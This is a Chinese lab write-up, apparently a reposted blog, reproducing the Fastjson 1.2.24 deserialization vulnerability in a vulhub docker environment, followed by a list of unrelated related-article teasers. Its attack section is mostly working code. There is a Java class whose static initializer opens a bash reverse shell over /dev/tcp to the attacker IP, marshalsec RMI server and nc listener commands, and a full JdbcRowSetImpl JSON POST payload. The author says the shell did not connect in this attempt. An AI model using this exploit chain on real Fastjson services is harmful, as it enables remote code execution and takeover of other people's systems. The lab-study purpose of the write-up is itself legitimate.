【vulhub漏洞复现】Fastjson 1.2.24反序列化漏洞

news2024/11/25 2:56:24

一、漏洞详情

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,也可以将 JSON 字符串转换为 Java 对象。

漏洞成因:
目标网站在解析 json 时,未对 json 内容进行验证,直接将 json 解析成 java 对象并执行,攻击者构造对应的 payload ,让系统执行,就能达到代码执行,甚至命令执行的目的。

二、复现过程

  1. 搭建docker环境

docker-compose up -d

bp抓个包,GET改成POST,添加Content-Type字段为application/json,再添加请求参数,可以发现name返回值已经改成了Lili

如果他对于java对象也有回应,那fastjson漏洞不就在眼前了~

  1. 反弹shell

在vulhub下的fastjson 1.2.24文件夹下新建TouchFile.java文件,内容为:(注意修改为自己的攻击机ip)

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.239.128/2333 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译java文件

把编译好的class文件传到外网系统中(这里我传到kali服务器中),并在class文件所在的目录,Python起一个http服务

python -m SimpleHTTPServer 4444

使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class

mvn安装参考教程

git clone https://github.com/mbechler/marshalsec (安装marshalsec)
source /etc/profile
cd marshalsec/
mvn clean package -DskipTests

编译成功

进入target目录,可以查看到marshalsec-0.0.3-SNAPSHOT-all.jar

开启RMI服务(marshalsec-master/target 目录下 )

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.239.128:4444/#TouchFile" 9999

另起一个终端开启监听(nc -lvnp 2333)

nc -lvp 2333

在192.168.239.128:8090处用bp抓包,构造如下POST请求包

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 167
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.239.128:9999/TouchFile",
        "autoCommit":true
    }
}

发送,这俩都有反应

按道理来说,应该监听的2333端口也反弹shell了,但我这边一点反应没有,不应该啊!

附一张别人成功的图= =

https://blog.csdn.net/m0_54899775/article/details/122530463

三、总结

今天好像诸事不顺,复现两个漏洞全都卡半路了。

个人觉得上面复现失败可能是因为java 和javac的版本不一致,尝试了几个网上的方法都失败了(环境问题真的是头大,搞一天了),打算快照重开了。

另外发现kali自带的bp在jdk17版本以上貌似用不了,于是乎我又双叒叕下载了jdk1.8,结果也不行,最后下回了jdk11,才能正常打开bp😅

别的没学到,linux命令倒是学了一堆😅

可以切换jdk版本的:

update-alternatives --config java

kali更新为java17的原因找到了(默认是11),因为kali没有javac,所以我在上面编译那个java文件的时候,去执行了 apt install default-jdk 这条命令,而它!就是罪魁祸首!

还有切换javac的命令:

update-alternatives --config javac

虽然java和javac版本一致了,但是2333端口还是出不来ovo

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/392426.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

国产数字源表在压力传感器电阻测量上的应用

压力传感器分类压力传感器(Pressure Transducer)是能感受压力信号,并能按照一定的规律将压力信号转换成可用的输出的电信号的器件或装置,压力传感器通常由压力敏感元件和信号处理单元组成。常见的压力传感器有四种:应变式压力传感器、压阻式压力传感器、电容式压力传…

OpenMMLab 目标检测

OpenMMLab 目标检测1. 目标检测简介1.1 滑窗2. 基础知识2.1 边界框(Bounding Box)3. 两阶段目标检测算法3.1 多尺度检测技术4. 单阶段目标检测算法4.1 YOLO: You Only Look Once (2015)4.2 SSD: Single Shot MultiBox Detetor (2016)5. 无锚框目标检测算…

Nginx的搭建与核心配置

目录 一.Nginx是什么? 1.Nginx概述 2.Nginx模块与作用 3.Nginx三大作用:反向代理、负载均衡、动静分离 二.Nginx和Apache的差异 三.安装Nginx 1.编译安装 2.yum安装 四.Nginx的信号使用 五.Nginx的核心配置指令 1.访问状态统计配置 2.基于授…

非华为电脑安装华为电脑管家以及注意事项

非华为电脑安装华为电脑管家前言安装注意事项效果展示前言 非华为电脑是可以安装华为电脑管家的,不过部分功能可能不兼容。值得一提的是,超级终端、多屏协同、文件共享、远程控制等功能大部分电脑是可以使用的,本人在联想ThinkBook 15电脑上…

【CS144】Lab1总结

Lab1Lab汇总概述具体实现Lab汇总 概述 lab1要求实现一个字符串的装配器,用于将TCPTCPTCP接收方接收到的字节流拼接起来,并缓存一定量的乱序到达的字节,便于TCPTCPTCP接收方相关功能的实现。 具体实现 该装配器实现的重点是push_substring…

Java线程池使用与原理解析2(自定义线程池、合适的线程数量、线程池阻塞队列、线程拒绝策略)

在上篇我们学习了线程池各个参数的含义,线程池任务处理流程,使用线程池的好处等内容,本篇我们学习如何创建一个适合我们业务的线程池。为此,我们有必要先学习一下如何大概确定我们线程池核心线程数、怎么设置阻塞队列的类型与大小…

Malware Dev 04 - 隐匿之 ETW(Event Tracing for Windows)Bypass

写在最前 如果你是信息安全爱好者,如果你想考一些证书来提升自己的能力,那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里: https://discord.gg/9XvvuFq9Wb我拥有 OSCP,OSEP,OSWE,OSED&…

使用leangoo领歌单团队敏捷开发项目管理

概述单团队敏捷开发主要是针对10人以下、只有一个Scrum团队的小型产品或项目的敏捷开发。对于小型团队来说,在Leangoo中创建一个单团队敏捷开发项目就可以很好地支持团队产品或项目的开发。适用场景适用于单个团队进行Scrum敏捷开发协作,Leangoo项目内也…

Linux - 磁盘存储管理 磁盘引入

# 我们要介绍下 磁盘管理, 那不妨先来看一张图来简单 引入 :这张图呢,是我们 Windows 上的磁盘管理的显示 。根据这幅图呢,提出一个问题 :>>> 这幅图磁盘管理所显示的内容,你能判断出 该电脑 有几…

【FMCW 04】测角-Angle FFT

在之前的文章中,我们已经详尽讨论过FMCW雷达测距和测速的原理,现在来讲最后一块内容,测角。测角对于硬件设备具有要求,即要求雷达具有多发多收结构,从而形成多个空间信道(channel),我…

css选择器详解

简单选择器(根据名称、id、类来选取元素)组合器选择器(根据它们之间的特定关系来选取元素)伪类选择器(根据特定状态选取元素)伪元素选择器(选取元素的一部分并设置其样式)属性选择器…

第六讲:ambari-web 模块二次开发

上述图片为 Ambari 部署及操作 hdp 集群相关的部分界面截图。这些页面如果想调整的话,比如汉化,二次开发等,则可以修改 ambari-web 模块的源码来实现。 一、介绍 ambari-web 模块涉及到的界面有: HDP 集群部署向导已安装服务的仪表板、配置界面等主机列表及详细信息告警列…

【Opencv项目实战】图像的像素值反转

文章目录一、项目思路二、算法详解2.1、获取图像信息2.2、新建模板2.3、图像通道顺序三、项目实战:彩图的像素值反转(方法一)四、项目实战:彩图的像素值反转(方法二)五、项目实战:彩图转换为灰图…

Java中class文件的格式

常见的class文件格式如下图所示,下面我将对一下格式一一作出解释。 一、magic 该部分主要是对语言类型的规范,只有magic这个部分是CAFEBABE时才能被检测为Java语言,否则则不是。 二、minor version和major version minor version主要表示了…

【微信小程序-原生开发】实用教程16 - 查看详情(含页面跳转的传参方法--简单传参 vs 复杂传参)

需在实现列表的基础上开发 【微信小程序-原生开发】实用教程15 - 列表的排序、搜索(含云数据库常用查询条件的使用方法,t-search 组件的使用)_朝阳39的博客-CSDN博客 https://sunshinehu.blog.csdn.net/article/details/129356909 效果预览 …

【计算机网络】数据链路层可靠传输机制的三大协议:停止等待协议SW、后退N帧协议GBN、选择重传协议SR

一、可靠传输实现机制 1.停止等待协议SW case1、确认与否认 在发送端发送数据出现误码时,接收端回复一个NAK否认码,并要求发送端再发送一次。 case2、超时重传 接收端接收不到数据分组时,发送端就会一直处于等待接受端回复ACK或NAK的状态…

32 文件操作

目录 一、文件的概念 二、文件的分类(分类依据:能否使用文本编辑器打开文件) 1、文本文件 2、二进制文件 三、文件操作的步骤 1、打开文件:open()函数 2、打开文件的另一种写法(推荐):with open…

21- PyTorch通过CNN实现手写数字识别 (PyTorch系列) (项目二十一)

项目要点 torch 版本: torch.__version__ # 1.13.1cpu 设置GPU: device torch.device(cuda:0 if torch.cuda.is_available() else cpu) train_ds datasets.MNIST(./, train True, transformtransformation, download True) # 数据导入 transformation transforms.…

Spring高频面试问题汇总

1 什么是spring?Spring是一个轻量级Java开发框架,最早有Rod Johnson创建,目的是为了解决企业级应用开发的业务逻辑层和其他各层的耦合问题。它是一个分层的JavaSE/JavaEE full-stack(一站式)轻量级开源框架,为开发Jav…

Day909.MySQL 不同的自增 id 达到上限以后的行为 -MySQL实战

MySQL 不同的自增 id 达到上限以后的行为 Hi,我是阿昌,今天学习记录的是关于MySQL 不同的自增 id 达到上限以后的行为的内容。 MySQL 里有很多自增的 id,每个自增 id 都是定义了初始值,然后不停地往上加步长。 虽然自然数是没有…